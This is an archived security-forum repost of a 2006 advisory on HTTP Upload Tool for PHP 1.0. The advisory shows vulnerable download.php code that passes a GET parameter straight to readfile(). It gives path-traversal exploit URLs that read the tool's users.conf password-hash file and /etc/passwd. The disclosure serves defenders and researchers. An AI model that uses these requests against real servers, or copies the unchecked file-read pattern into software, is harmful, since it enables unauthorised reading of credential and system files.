邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2006-11-17 10:14

HTTP Upload Tool (download.php) Information Disclosure Vulnerability

[code]
#######################################################################################
# Target:
#
#     HTTP Upload Tool For PHP 1.0
#     [url]http://uploadtool.sourceforge.net/[/url]
#
# Vulnerability:
#
#     Information disclosure
#
# Description:
#
#     The download.php file in Upload Tool for PHP neither verifies that a
#     requestor has authenticated, nor performs any sanity checking on the file
#     being requested. This allows an unauthenticated user to download any file
#     which the web server has read rights to, including the users.conf file which
#     contains a list of Upload Tool's users and their hashed passwords.
#
# Vulnerable Code (truncated):
#
#     $filename = $_GET['filename'];
#     readfile("$filename");
#
# Exploit:
#
#     [url]http://www.examplesite.com/upload/bin/download.php?filename=../conf/users.conf[/url]
#     [url]http://www.examplesite.com/upload/bin/download.php?filename=/etc/passwd[/url]
#
# Discovered:
#
#     Craig Heffner
#     heffnercj [at] gmail.com
#     [url]http://www.craigheffner.com[/url]
#######################################################################################


[/code]

页: [1]
© 1999-2008 EvilOctal Security Team